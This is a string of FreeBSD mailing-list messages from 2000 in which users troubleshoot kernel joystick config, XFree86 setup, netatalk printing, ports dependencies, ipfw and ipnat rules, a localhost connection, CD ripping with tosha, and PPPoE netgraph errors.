> device       joy0   at isa? port IO_GAME

For me the first two lines are sufficient, so try to delete the line with isa in
it completely and recompile your kernel.
This results in the following dmesg line:

joy0: <Generic PnP Joystick> at port 0x200-0x207 on isa0

Hope this works ;-)

Ciao
Siegbert


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I would recommend skipping the XF86 setup until later.  I had the same
problem.  Once the setup crashed my computer, then I had to start
installation all over again.  Maybe it would be wise for there to be
some sort of warning message at that point in the install process.

Rob.

Jakob Buck wrote:
> 
> Hi ..
> 
> Im not in the mailing list, but I have a problem installing FreeBSD 4.1.1.
> 
> When I come to the configuration of the xfree86 server, I choose
> "graphic setup", choose my mouse, graphic card, resolution etc.,
> it starts to restart x to test the configuration.
> 
> It's here it goes wrong, now the only thing that happens is that a
> white square appers the the upper left corner, and nothing else ?
> 
> I can kill the session by using ctrl+alt+backspace, but I can't continue
> the installation because of errors, and I would hate to install FreeBSD
> without xfree86.
> 
> A short description of my computer :
> Logitech PS2 mouse (microsoft / PS2 / auto - sysmouse / ps0m)
> Asus V6800 (nvidia geforce ddr)
> 19" monitor (16bit - 1280-1024 - 74MHz)
> 
> Thanks, hope you can help ..
> 
> Best regards
> Jakob Buck
> 
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> >Hi. I'm trying to put more memory into my 486 DX2 computer.
> >It's got 16MB at the moment (2 8MB 72 pin simms), but when I add one more
> 8MB simm, the BIOS sees it, but the kernel panics at boot with a "page
> fault" error.
> >I really don't know where I should begin searching for the error here. Any
> ideas?
> 
> 
> You have to put simms in in pairs.
> 
> This is due to the fact that the CPU can access the RAM faster than the ram
> can respond and so the ram is accesses in an odd/even manner. One simm
> first then the other and so on.

	But 486's don't (usually) have to worry about this. Most likely
the new chip is causing problems. I'd swap it down to the first or second
slot to see if it causes problems there.

						Rick

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On Sun, 29 Oct 2000, Odhiambo Washington wrote:
> * Jaime <jaime@malkav.snowmoon.com> [20001028 20:00]:
> =>On Sat, 28 Oct 2000, Odhiambo Washington wrote:
> =>> [wash@poeza:~]> papstatus -p LaserWriter
> =>> LaserWriter:LaserWriter@*: NBP Lookup failed
> =>
> =>	I've been using NetATalk with the asun patches on FreeBSD
> =>3.0-Release, 3.2-Stable, 3.3-Stable, 3.4-Stable, 4.0-Release, 4.1-Stable,
> =>and 4.1.1-Stable.  I've used it without those patches on several 2.2.x
> =>versions.  Its always been great for me.
> 
> So does the Macintosh on your network see the printers on the FreeBSD
> boxes? That is what I ultimately want to achieve.
> I need to use PAPD (Printer Access) as opposed to AFPD (File Access) which
> is working fine for me too.

I just ran into this, afpd working , papd not.  Turned out to be
a misconfigured atalkd.conf (the default auto gen'd one).  It had

rl0 -phase 2 -net 65280-65534 -addr 65280.229
rl1 -phase 2 -net 0-65534 -addr 0.0

rl0 is the public interface, rl1 the private.

I changed it to

rl1 -phase 2 -net 0-65534 -addr 65280.229

leaving out the rl0 entry completely.  Now both afpd and papd work
fine.

Dan
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"Mark A. Hummel" wrote:
> 
> Greg,
> 
> Thanks for the response.  To clarify, I never meant to imply that
> Netscape nor KDE "control" color depth.  I setup my system so KDE runs
> in 16 bit depth at 1024 X 768 resolution.  However, since I sent this
> request for assistance, I've discovered (using xwininfo) that, in fact,
> KDE is only in 8 bit depth.  This changes the question.
> 
> I've checked XF86Config, but there are so many different video modes in
> that file, I don't feel confident changing anything until I know my
> hardware capabilities. I thought my video card (Diamond 3D 2000, S3
> Virge) had 1MB of VRAM.  Is there a program like xwininfo or xdpyinfo
> that I can run in a terminal which will verify the amount of VRAM on my
> video card?  I know that with 256K, 8 bit color is the maximum I can get
> which may be the problem.
> 
> Just out of curiosity Greg, what kind of video card are you using?
> That's a very impressive set of numbers.
> 
> Mark
Greg,

I've researched my Stealth 3d 2000 card online and found out it does
have 2048Kb of VRAM upgradeable to 4096KB.  I did the research because I
remembered Windoze 98 (which I still reluctantly boot to on occasion)
does boot in 1024 X 768 with 16 bit color (32 million colors to be
exact).  Therefore, FBSD should be able to as well.

I've tried manually modifying my /etc/XF86Config file to no avail.  In
fact, after I set my minium color depth settings to 16 instead of 8, I
got an un-killable error:

kdm[216]: Display :0 Cannot be opened
kdm[216]: Server for display :0 terminated unexpectedly :1

Over and over and over again until I did a Ctrl-C just before KDE
auto-booted.

Now I'm back to where I began knowing it can be done.  Should I run
sysinstall or what.  Does anyone else have any suggestions?  Please feel
free to reply.

Mark 

> Greg Lehey wrote:
> >
> > On Saturday, 28 October 2000 at 12:33:13 -0500, Mark Hummel wrote:
> > > I'm running FBSD 4.1.1R and Netscape 4.7 (USA).  KDE boots in 16 bit
> > > color, but Netscape runs in 8 bit.  How can I increase the color depth
> > > of Netscape?  Are there settings somewhere or perhaps a script (pls
> > > include if there is) I can insert somewhere?
> >
> > I think you're confused.  KDE and Netscape aren't responsible for
> > pixel depth, X is, and as far as I know most installations have only
> > one depth.  What does xdpyinfo say?  You should see something like:
> >
> > screen #0:
> >   dimensions:    1920x1440 pixels (403x302 millimeters)
> >   resolution:    121x121 dots per inch
> >   depths (1):    24
> >
> > Greg
> > --
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Chip writes:
> Correct me if I'm wrong, but I thought that when installing a
> port it would
> also update any dependencies. For example, I want to install xfce
> from the 
> port, but it failed apparently on esound. So I then went to
> install esound
> by itself by it failed with the message that libtool is out of
> date.  So I used pkg_delete on the old libtool and then installed
> the new libtool port, and 
> now xfce installs just fine because esound also installs fine. 
> I thought stuff like this got updated by installing from the
> port? This is the
> first time this sort of problem has happened to me, and I have
> installed many 
> of the ports just to see what some of these programs are.

Well, "updating" a port isn't something the ports system deals with
every well. It tries to *install* the dependencies if it can't find
them. Libtool seems to break under these conditions, but it's the only
thing I've run into that does. Other ports have simply installed
multiple versions of the port.

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John Summerfield writes:
> I've just installed 4.1.1 from an ISO I found laying round the net. It's got 
> sendmail 8.11 which is fine by me.
> 
> However, where the heck are the sendmail documents and configuration tools?

If what's in /etc/mail and /usr/share/sendmail isn't sufficient, try
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Hello,
	I don't know exactly where to send this message.  I was
debating sending it to freebsd-ports, but wasn't sure so decided to
send it to the general list in hopes of either being told where to
forward it to, or having my question answered.

	I recently noticed that I had multiple versions of Guile
installed on my box (FreeBSD 4.1.1 Stable Fri. Oct 27) so I
uninstalled them both, and tried to install the port again.  During
the compilation gawk core dumps and the process halts.  After a while
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	I don't know if gawk worked before when trying to compile
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	This is all with the latest versions of guile and gawk.
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Unfortunately this doesn't work.  I just cvs-up'd my src and rebuilt the
kernel using

device          pcm
device          joy

boot -v shows, for the YMF724:
pcm0: <Yamaha DS-1E (YMF724F)> mem 0xe3000000-0xe3007fff irq 11 at device
15.0 o
n pci0
ds1: setmap (3000, 3de4), nseg=1, error=0
pcm0: ac97 codec id 0x414b4d01 (Asahi Kasei AK4540 rev 1)
pcm0: ac97 codec features headphone, 5 bit master volume, AKM 3D Audio
pcm: setmap 13000, 1000; 0xc95f6000 -> 13000
pcm: setmap 23000, 1000; 0xc9606000 -> 23000
pcm: setmap 33000, 1000; 0xc9616000 -> 33000
pcm: setmap 43000, 1000; 0xc9626000 -> 43000
pcm: setmap 53000, 1000; 0xc9636000 -> 53000
pcm: setmap 63000, 1000; 0xc9646000 -> 63000

it says nothing about the joystick.

Are there any options that need to be set?  I'm not sure of the details of
this card to know whether or not I need to do something deliberate to get
the PnP part to work.

Thanks for the response,
Joe


On Sun, 29 Oct 2000, Siegbert Baude wrote:

> Hi Joe,
>  
> > Has anybody gotten this cinfiguration to work?
> > 
> > I'm using
> > device       pcm
> > device       joy
> > device       joy0   at isa? port IO_GAME
> 
> For me the first two lines are sufficient, so try to delete the line with isa in
> it completely and recompile your kernel.
> This results in the following dmesg line:
> 
> joy0: <Generic PnP Joystick> at port 0x200-0x207 on isa0
> 
> Hope this works ;-)
> 
> Ciao
> Siegbert
> 
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jay.krell@cornell.edu writes:
> This has been bugging me a while. I've always just avoided it.
> Is it safe to
>     cd /usr/ports/1/2
>     make install &
>     cd /usr/ports/3/4
>     make install
> ?

Mostly it's safe.

> if both go to like register the package at about the same time, will the
> package database stay not corrupted?

The "packages database" is a collection of flat text files. You only
get into problems if you try writing to the same one at the same time.

> I'm assuming both have all their dependents installed or they share no
> dependents -- to avoid the question of building in the same directory at the
> sam etime.

*That's* the real problem: dependencies. If both ports depend on the
same third package, and they both start writing on the +REQUIRED_BY
file at the same time, it could mess up that file. On the other hand -
that's not a major breakage; it just means that you don't get warned
about all the dependencies when you remove the third package. As
opposed to what happens when the two makes start trying to build the
same package, which tends to break that build.

If no package in system is directly required by more than one unbuilt
package in the tree of dependents, you will be safe. Given that all
the dependents of the two ports are built, this means that no package
is directly required by both ports.

	<mike


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I'm running 4.1.1-STABLE as of last night and everything works just fine.
Except for one thing:
 
Proto Recv-Q Send-Q  Local Address        Foreign Address      (state)
tcp4       0      0  localhost.funkproxy  localhost.1506       ESTABLISHED
tcp4       0      0  localhost.1506       localhost.funkproxy  ESTABLISHED
 
I found that this port is used by some piece of windoze software which can
remotely administer winboxes....
 
 
I certainly do not use it since I do not windoze and I can't figure out
why my system could or would be using this established connection.
 
Any help will be appreciated,
 
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On Sun, Oct 29, 2000 at 07:39:49PM -0500, Caleb Land wrote:
> Hello,
> 	I don't know exactly where to send this message.  I was
> debating sending it to freebsd-ports, but wasn't sure so decided to
> send it to the general list in hopes of either being told where to
> forward it to, or having my question answered.
> 
> 	I recently noticed that I had multiple versions of Guile
> installed on my box (FreeBSD 4.1.1 Stable Fri. Oct 27) so I
> uninstalled them both, and tried to install the port again.  During
> the compilation gawk core dumps and the process halts.  After a while
> of trying to figure out what was causing it, I noticed that Guile
> checks for multiple versions of awk (Gawk, plain ol' awk, nawk,
> mawk).  I deinstalled gawk (so that I only had plain awk) and was
> successful in compiling and installing the port.
> 
> 	I don't know if gawk worked before when trying to compile
> guile because I don't know if I had it installed before trying to
> compile guile for the first time.  If someone could verify whether
> this is a problem with their machine and not just mine I can make a
> patch so that guile doesn't check for gawk in the ports collection.
> 
> 	This is all with the latest versions of guile and gawk.

According to the port,

  $ more /usr/ports/lang/gawk/pkg-descr 
  This is GNU Awk 3.0.4....
  .
  .
  .

But the gawk in the base FreeBSD system (yes, the 'awk' in FreeBSD is
really gawk) is,

  $ awk --version
  GNU Awk 3.0.4
  .
  .
  .

The same.

The gawk port is only really needed if you are using an ancient
(gawk 3.0.4 was released June of 1999) FreeBSD version and need to
upgrade gawk. At least, that is my impression of what it is there
for.
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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On Sun, Oct 29, 2000 at 11:38:30AM -0800, Crist J . Clark wrote:
> But the gawk in the base FreeBSD system (yes, the 'awk' in FreeBSD is
> really gawk) is,

	Well, that makes it even more strange.  Is there a reason why
the port would core dump but the version installed with the system
would work correctly?  I suppose that it really doesn't matter, then,
since the port isn't needed, but this is more puzzling than before :)

>=20
> The gawk port is only really needed if you are using an ancient
> (gawk 3.0.4 was released June of 1999) FreeBSD version and need to
> upgrade gawk. At least, that is my impression of what it is there
> for.

Thanks for the information.

--=20
Sincerely,
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Hi, I have a questions

FreeBSD 3.4 making  Bridging not routing.  can be able to accounting the
packets , with the firewall
ipfw ??


LAN-----------FreeBSD-3.4  Running ET/BWMGR-----------INTERNET
                                                        Transparent
bridging

I have a follow rule in my FreeBSD, but the counters not increment.

ipfw add count all from 172.17.1.0/24 to any
ipfw add count all from any to 172.17.1.0/24

can ipfw make accounting when the freebsd is briding?
or is it necesary  that the equipment routing?


Thanks in Advanced
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On Sun, Oct 29, 2000 at 08:11:38PM -0500, Caleb Land wrote:
> 	Well, that makes it even more strange.  Is there a reason why
> the port would core dump but the version installed with the system
> would work correctly?  I suppose that it really doesn't matter, then,
> since the port isn't needed, but this is more puzzling than before :)
>=20

	I just noticed that the gawk port is version 3.0.6, whilst the
standard awk is gawk version 3.0.4.  This might or might not be the
cause of the problem, but may at least be a clue.

--=20
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FreeBSD 4.1-R and ipfilter 3.4.13, with ifilter as module.

(We had good success with a couple of FreeBSD 3.1 and 3.4 with 
earlier ipf 3.3 and 3.4 in the kernal and really weren't expecting 
any trouble now, but....)

# kldstat
Id Refs Address    Size     Name
  1    2 0xc0100000 2335c4   kernel
  2    1 0xc0ae8000 15000    ipf.ko

We are just trying to get a simple ipnat running with this rule (no 
ipfilter,yet):

map oltr0 192.168.10.0/24 -> xxx.73.yyy.242/32 portmap tcp/udp 40000:65000
map oltr0 192.168.10.0/24 -> xxx.73.yyy.242/32

# ipnat -l
List of active MAP/Redirect filters:
map oltr0 192.168.10.0/24  -> xxx.73.yyy.242/32  portmap tcp/udp 40000:65000
map oltr0 192.168.10.0/24  -> xxx.73.yyy.242/32

List of active sessions: (none)


Telnetting to the ipf machine, we try to ping from the inside i/f 
192.168.10.1 to the outside of next-hop router i/f:

ping -S 192.168.10.1 xxx.73.yyy.22

... works, but we cannot get an active NAT session showing. stumped.

ping -S 192.168.10.1 xxx.73.yyy.69   (a bit futher upstream)

... fails, however ping from the ipnat's outside i/f

ping -S xxx.73.yyy.242 xxx.73.yyy.69

... works fine to everywhere.

========

ipf machine's routing table:

Destination        Gateway            Flags      Netif Expire
default            xxx.73.yyy.241     UGSc        3      477      xl0
127.0.0.1          127.0.0.1          UH          0        0      lo0
192.168.10         link#1             UC          0        0    oltr0 =>
192.168.10.1       0.0.83.42.40.2f    UHLW        0      120      lo0
xxx.73.yyy.240/30  link#2             UC          0        0      xl0 =>
xxx.73.yyy.241     0:50:73:76:42:81   UHLW        4      105      xl0    304
xxx.73.yyy.242     0:1:2:b2:ad:a5     UHLW        0      120      lo0

Ideas?

tia,
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On Sun, Oct 29, 2000 at 01:00:56PM -0600, Mike Meyer wrote:
> Chip writes:
> > Correct me if I'm wrong, but I thought that when installing a
> > port it would
> > also update any dependencies. For example, I want to install xfce
> > from the 
> > port, but it failed apparently on esound. So I then went to
> > install esound
> > by itself by it failed with the message that libtool is out of
> > date.  So I used pkg_delete on the old libtool and then installed
> > the new libtool port, and 
> > now xfce installs just fine because esound also installs fine. 
> > I thought stuff like this got updated by installing from the
> > port? This is the
> > first time this sort of problem has happened to me, and I have
> > installed many 
> > of the ports just to see what some of these programs are.
> 
> Well, "updating" a port isn't something the ports system deals with
> every well. It tries to *install* the dependencies if it can't find
> them. Libtool seems to break under these conditions, but it's the only
> thing I've run into that does.

IMHO, this is the correct behavior.

> Other ports have simply installed
> multiple versions of the port.

Not really, other ports have _overwritten_ earlier versions of the
port without changing the package database. That, IMHO, is bad. I'd
rather be warned to remove the old and install the new than just
clobber the old with new.
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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On Sun, Oct 29, 2000 at 08:37:31PM +0100, Maarten van Schie wrote:
> I'm running 4.1.1-STABLE as of last night and everything works just fine.
> Except for one thing:
>  
> Proto Recv-Q Send-Q  Local Address        Foreign Address      (state)
> tcp4       0      0  localhost.funkproxy  localhost.1506       ESTABLISHED
> tcp4       0      0  localhost.1506       localhost.funkproxy  ESTABLISHED
>  
> I found that this port is used by some piece of windoze software which can
> remotely administer winboxes....
>  
>  
> I certainly do not use it since I do not windoze and I can't figure out
> why my system could or would be using this established connection.
>  
> Any help will be appreciated,

Do a 'sockstat' to see what process is using that connection. It
almost surely has nothing to do with 'funkproxy.' If you check the
numbers, funkproxy is port 1505 so that connection is between ports
1505 and 1506. It is likely those numbers just happened to be next in
line whenever the process using them needed to make connection. 
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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"Crist J . Clark" wrote:
> 
> On Sun, Oct 29, 2000 at 01:00:56PM -0600, Mike Meyer wrote:
> > Chip writes:
> > > Correct me if I'm wrong, but I thought that when installing a
> > > port it would
> > > also update any dependencies. For example, I want to install xfce
> > > from the
> > > port, but it failed apparently on esound. So I then went to
> > > install esound
> > > by itself by it failed with the message that libtool is out of
> > > date.  So I used pkg_delete on the old libtool and then installed
> > > the new libtool port, and
> > > now xfce installs just fine because esound also installs fine.
> > > I thought stuff like this got updated by installing from the
> > > port? This is the
> > > first time this sort of problem has happened to me, and I have
> > > installed many
> > > of the ports just to see what some of these programs are.
> >
> > Well, "updating" a port isn't something the ports system deals with
> > every well. It tries to *install* the dependencies if it can't find
> > them. Libtool seems to break under these conditions, but it's the only
> > thing I've run into that does.
> 
> IMHO, this is the correct behavior.
> 
> > Other ports have simply installed
> > multiple versions of the port.
> 
> Not really, other ports have _overwritten_ earlier versions of the
> port without changing the package database. That, IMHO, is bad. I'd
> rather be warned to remove the old and install the new than just
> clobber the old with new.
> --
> Crist J. Clark                           cjclark@alum.mit.edu
> 
I tend to agree with you Crist. My thoughts on are this (I am
still relatively
new to FBSD, less than a year still). If I was asked 'do you want
to overwrite
such-n-such with a newer version' I'm not sure I would be able to
make the right
choice. I wouldn't know the implications of overwriting or not
overwriting, would
it break some other program or not? I, being a newby, would
probably just answer
with 'yes' and live with the results. I'm not a programmer so
fixing the resultant
problems, if there were any, would be beyond my ability. I'm not
sure where I'm 
going with this, but I think there is no perfect solution, there
will always be 
a problem cropping up somewhere. In my situation described above
I was able to fix
the problem, and I must say I take a bit of pride in the fact
that I did, even if 
it was only a small thing. But thats how we all get started
right? Start at the 
bottom and work our way up. 
If this seems a bit scatter-brained its because I have so many
things going on my
little network to learn - apache, php, mysql, shell scripts,
ipfw, and I still 
want to get dns running. Lots to learn and not enough time.
-- 
Chip W.	
www.wiegand.org
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Well, I just saw I made a search for 'funproxy' instead of 'funkproxy'...

So.. sockstat tells me it's scr-bx which is using the port for internal
purposes, I guess.

scr-bx is the command to retach BitchX to a ttyv after detachment.

USER   COMMAND    PID FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
AnEra  scr-bx    1325  3 tcp4   127.0.0.1:1506        127.0.0.1:1505
AnEra  BitchX-1  1322  0 tcp4   127.0.0.1:1505        127.0.0.1:1506
AnEra  BitchX-1  1322  1 tcp4   127.0.0.1:1505        127.0.0.1:1506
AnEra  BitchX-1  1322  2 tcp4   127.0.0.1:1505        127.0.0.1:1506
AnEra  BitchX-1  1322  3 udp4   *:*                   *:*
AnEra  BitchX-1  1322  4 tcp4   192.168.1.5:1502      194.119.238.162:66
AnEra  BitchX-1  1322  7 tcp4   127.0.0.1:1505        127.0.0.1:1506

I've never seen it behave like this, don't use it much but still, though I
netstat a couple of times a day.

Thanx,

Maarten.


On Sun, 29 Oct 2000, Crist J . Clark wrote:

> On Sun, Oct 29, 2000 at 08:37:31PM +0100, Maarten van Schie wrote:
> > I'm running 4.1.1-STABLE as of last night and everything works just fine.
> > Except for one thing:
> >  
> > Proto Recv-Q Send-Q  Local Address        Foreign Address      (state)
> > tcp4       0      0  localhost.funkproxy  localhost.1506       ESTABLISHED
> > tcp4       0      0  localhost.1506       localhost.funkproxy  ESTABLISHED
> >  
> > I found that this port is used by some piece of windoze software which can
> > remotely administer winboxes....
> >  
> >  
> > I certainly do not use it since I do not windoze and I can't figure out
> > why my system could or would be using this established connection.
> >  
> > Any help will be appreciated,
> 
> Do a 'sockstat' to see what process is using that connection. It
> almost surely has nothing to do with 'funkproxy.' If you check the
> numbers, funkproxy is port 1505 so that connection is between ports
> 1505 and 1506. It is likely those numbers just happened to be next in
> line whenever the process using them needed to make connection. 
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 



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jruigrok@via-net-works.nl said:
> > >However, where the heck are the sendmail documents and
> configuration tools?

> Which documents are you referring to?

> Also, doesn't http://www.sendmail.org/ have what you need?


I have sendmail 8.11 installed on another system. Th configuration tools 
amount to about 160 files.

They're impossible to miss.

The documentation that's missing includes README.cf, amounting to about 12k 
describing how to use the configuration tools.

sendmail.org might have them (they are certainly there in the source code), 
but I don't want to waste money making phone calls each time I want to refer 
to them, or lose the use of my phone for other purposes during that time.


Using the configuration tools that are missing, I could put together a 
sendmail configuration in under a dozen well-chosen and carefully-considered 
lines of text.

It's true that in my case I have those documents and tools on another 
computer, but what if I hadn't? They're not standard issue with the OS which 
came with 8.9.3.

Is there something I've not installed? I can't find any package that looks 
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Hallo,

I'm using ppp and nat on freebsd to "dial" on demand via PPPoE.
On the first "dialout" I get the following error (cut from dmesg):

module_register: module netgraph already exists!
linker_file_sysinit "netgraph.ko" failed to register! 17

everything seems to work fine , but I want to know if this has any real =
meaning and how can I get rid of it.
Thanks=20
Nicolas

my ppp.conf:
default:


 set log Phase command
 set timeout 180   # 3 mintue idle timer (the default)
 add! default HISADDR   # Add a (sticky) default route
 resolv readonly

tonline:
 set device PPPoE:ed0
 set mru 1492
 set mtu 1492
 set authname myusername
 set dial
 set login
 set ifaddr 192.168.99.1/0 192.168.99.2/0
 set authkey mypass

my kernel config:

machine  i386
cpu  I586_CPU
ident  NR=20
maxusers 64

options ATKBD_DFLT_KEYMAP
makeoptions ATKBD_DFLT_KEYMAP=3Dgerman.iso
options SC_DFLT_FONT
makeoptions SC_DFLT_FONT=3Diso

# ISDN4BSD section
# AVM Fritz!Card PCI
options  AVM_A1_PCI
device  isic

# ISDN Protocol Stack
pseudo-device "i4bq921"
pseudo-device "i4bq931"
pseudo-device "i4b"
pseudo-device "i4bctl"
pseudo-device "i4brbch" 4
options  IPR_VJ


options NETGRAPH
#options NETGRAPH_PPPOE
#options NETGRAPH_SOCKET
options IPFIREWALL
options IPFIREWALL_VERBOSE
options IPFIREWALL_VERBOSE_LIMIT=3D100
options IPDIVERT

options  INET   #InterNETworking
options  FFS   #Berkeley Fast Filesystem
options  FFS_ROOT  #FFS usable as root device [keep this!]
options  SOFTUPDATES  #Enable FFS soft updates support
options  MFS   #Memory Filesystem
options  MSDOSFS   #MSDOS Filesystem
options  CD9660   #ISO 9660 Filesystem
options  CD9660_ROOT  #CD-ROM usable as root, CD9660 required
options  PROCFS   #Process filesystem
options  COMPAT_43  #Compatible with BSD 4.3 [KEEP THIS!]
options  SCSI_DELAY=3D15000 #Delay (in ms) before probing SCSI
options  UCONSOLE  #Allow users to grab the console
options  USERCONFIG  #boot -c editor
options  VISUAL_USERCONFIG #visual boot -c editor
options  KTRACE   #ktrace(1) support
options  SYSVSHM   #SYSV-style shared memory
options  SYSVMSG   #SYSV-style message queues
options  SYSVSEM   #SYSV-style semaphores
options  P1003_1B  #Posix P1003_1B real-time extensions
options  _KPOSIX_PRIORITY_SCHEDULING
options  ICMP_BANDLIM  #Rate limit bad replies
options  KBD_INSTALL_CDEV # install a CDEV entry in /dev


device  isa
device  pci

# Floppy drives
device  fdc0 at isa? port IO_FD1 irq 6 drq 2
device  fd0 at fdc0 drive 0
device  fd1 at fdc0 drive 1

# ATA and ATAPI devices
device  ata0 at isa? port IO_WD1 irq 14
device  ata1 at isa? port IO_WD2 irq 15
device  ata
device  atadisk   # ATA disk drives
device  atapicd   # ATAPI CDROM drives
options  ATA_STATIC_ID  #Static device numbering

device  scbus  # SCSI bus (required)

# atkbdc0 controls both the keyboard and the PS/2 mouse
device  atkbdc0 at isa? port IO_KBD
device  atkbd0 at atkbdc? irq 1 flags 0x1
device  psm0 at atkbdc? irq 12

device  vga0 at isa?

# splash screen/screen saver
pseudo-device splash

# syscons is the default console driver, resembling an SCO console
device  sc0 at isa? flags 0x100

# Floating point support - do not disable.
device  npx0 at nexus? port IO_NPX irq 13

# Power management support (see LINT for more options)
device  apm0    at nexus? disable flags 0x20 # Advanced Power Management

# Serial (COM) ports
device  sio0 at isa? port IO_COM1 flags 0x10 irq 4
device  sio1 at isa? port IO_COM2 irq 3
device  sio2 at isa? disable port IO_COM3 irq 5
device  sio3 at isa? disable port IO_COM4 irq 9

# Parallel port
device  ppc0 at isa? irq 7
device  ppbus  # Parallel port bus (required)
device  lpt  # Printer
#device  plip  # TCP/IP over parallel
device  ppi  # Parallel port interface device
#device  vpo  # Requires scbus and da


# ISA Ethernet NICs.
device  ed0 at isa? port 0x280 irq 10 iomem 0xd8000
device  ed1 at isa? port 0x240 irq 9 iomem 0xd8000

# Pseudo devices - the number indicates how many units to allocated.
pseudo-device loop  # Network loopback
pseudo-device ether  # Ethernet support
#pseudo-device sl 1 # Kernel SLIP
#pseudo-device ppp 1 # Kernel PPP
pseudo-device tun  # Packet tunnel.
pseudo-device pty  # Pseudo-ttys (telnet etc)
pseudo-device md  # Memory "disks"
#pseudo-device gif 4 # IPv6 and IPv4 tunneling
#pseudo-device faith 1 # IPv6-to-IPv4 relaying (translation)

# The `bpf' pseudo-device enables the Berkeley Packet Filter.
# Be aware of the administrative consequences of enabling this!
pseudo-device bpf  #Berkeley packet filter





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From owner-freebsd-questions  Sun Oct 29 13:13:50 2000
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On Sun, Oct 29, 2000 at 11:47:22AM -0500, Tony Johnson wrote:
> There are lots of CD rippers out there.  This is why Mr. Napster is in
> trouble because too many people buy a cd and rip it to disk and then send it
> to him.  So he takes the hit for everyone else'd piracy... 

This is not relevant or helpful. If I wanted a conceited view on music
piracy I would have asked for one.

> But anyway, cd0 is the correct cdrom device for an aha2940.  The cdrom
> appears to work.  The command line arguments appear to be the problem and
> not the cdrom or tosha.

Could you suggest a different combination of command line arguments?

Thank you,

Ben.

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Ben
> Sent: Sunday, October 29, 2000 10:08 AM
> To: freebsd-questions@FreeBSD.org
> Subject: tosha and a scsi cdrom
> 
> 
> To FreeBSD Guru Question Answerers:
> 
> In order to get digital audio from my cdrom to my hard drive it has been
> recommended that I use the program tosha. Unfortunately it fails to work.
> Since the error seems like something someone I am writing this to might
> know how to address I am writing this. I have already exhausted a number
> of other resources quickly. The man page for tosha wasn't helpful, the
> domain of author of tosha's email address doesn't resolve and people in
> #freebsd on efnet were not helpful.
> 
> I can use my cdrom drive to mount normal data cds without any problems. In
> fact tosha -i correctly displays the name of my cdrom and correctly lists
> the track information.
> 
> Here is the relevant CDROM information, from Tosha:
> Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"
> 
> I have an Adaptec AHA2940 scsi controller. The only other scsi device is a
> hard drive. Here are the important lines from my kernel config file:
> 
> # SCSI Controllers
> device          ahc             # AHA2940 and onboard AIC7xxx devices
> 
> # SCSI peripherals
> device          scbus           # SCSI bus (required)
> device          da              # Direct Access (disks)
> device          sa              # Sequential Access (tape etc)
> device          cd              # CD
> device          pass            # Passthrough device (direct SCSI access)
> 
> This is what tosha does when I run tosha -t n, where n is a valid track.
> 
> zeus# tosha -t 1
> Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"
> 
>  track   playing  start    end     raw size  mp3 size   # of   track
>  number   time    sector  sector   in bytes  128 kbps  frames  type
> ---------------------------------------------------------------------
>     1    7:27'58      32   33614   78987216   7165208   17142  audio
> error sending CD-DA read command: Invalid argument
> zeus#
> 
> It creates the file track0n.raw which contains what appears to be only a
> audio header.
> 
> This seems to be something obvious. Maybe I just missing a config file or
> need to add a line to kernel config?
> 
> When replying please CC me since I am not subscribed to the
> freebsd-questions list.
> 
> Thank you,
> 
> Ben.


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I would have to install it and configure it as I personally haven't used
this program before.  Sure I can suggest this...

-----Original Message-----
From: Ben [mailto:neb@one.net]
Sent: Sunday, October 29, 2000 3:12 PM
To: Tony Johnson; freebsd-questions@freebsd.org
Subject: Re: tosha and a scsi cdrom


On Sun, Oct 29, 2000 at 11:47:22AM -0500, Tony Johnson wrote:
> There are lots of CD rippers out there.  This is why Mr. Napster is in
> trouble because too many people buy a cd and rip it to disk and then send
it
> to him.  So he takes the hit for everyone else'd piracy...

This is not relevant or helpful. If I wanted a conceited view on music
piracy I would have asked for one.

> But anyway, cd0 is the correct cdrom device for an aha2940.  The cdrom
> appears to work.  The command line arguments appear to be the problem and
> not the cdrom or tosha.

Could you suggest a different combination of command line arguments?

Thank you,

Ben.

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Ben
> Sent: Sunday, October 29, 2000 10:08 AM
> To: freebsd-questions@FreeBSD.org
> Subject: tosha and a scsi cdrom
>
>
> To FreeBSD Guru Question Answerers:
>
> In order to get digital audio from my cdrom to my hard drive it has been
> recommended that I use the program tosha. Unfortunately it fails to work.
> Since the error seems like something someone I am writing this to might
> know how to address I am writing this. I have already exhausted a number
> of other resources quickly. The man page for tosha wasn't helpful, the
> domain of author of tosha's email address doesn't resolve and people in
> #freebsd on efnet were not helpful.
>
> I can use my cdrom drive to mount normal data cds without any problems. In
> fact tosha -i correctly displays the name of my cdrom and correctly lists
> the track information.
>
> Here is the relevant CDROM information, from Tosha:
> Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"
>
> I have an Adaptec AHA2940 scsi controller. The only other scsi device is a
> hard drive. Here are the important lines from my kernel config file:
>
> # SCSI Controllers
> device          ahc             # AHA2940 and onboard AIC7xxx devices
>
> # SCSI peripherals
> device          scbus           # SCSI bus (required)
> device          da              # Direct Access (disks)
> device          sa              # Sequential Access (tape etc)
> device          cd              # CD
> device          pass            # Passthrough device (direct SCSI access)
>
> This is what tosha does when I run tosha -t n, where n is a valid track.
>
> zeus# tosha -t 1
> Device: /dev/cd0a -- "YAMAHA" "CDR400t" "1.0q"
>
>  track   playing  start    end     raw size  mp3 size   # of   track
>  number   time    sector  sector   in bytes  128 kbps  frames  type
> ---------------------------------------------------------------------
>     1    7:27'58      32   33614   78987216   7165208   17142  audio
> error sending CD-DA read command: Invalid argument
> zeus#
>
> It creates the file track0n.raw which contains what appears to be only a
> audio header.
>
> This seems to be something obvious. Maybe I just missing a config file or
> need to add a line to kernel config?
>
> When replying please CC me since I am not subscribed to the
> freebsd-questions list.
>
> Thank you,
>
> Ben.



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>Hallo,

Hello.

>I'm using ppp and nat on freebsd to "dial" on demand via PPPoE.
>On the first "dialout" I get the following error (cut from dmesg):
>
>module_register: module netgraph already exists!
>linker_file_sysinit "netgraph.ko" failed to register! 17
>
>everything seems to work fine , but I want to know if this has any real 
>meaning and how can I get rid of it.

I also got those messages and following a suggestion I found either on this 
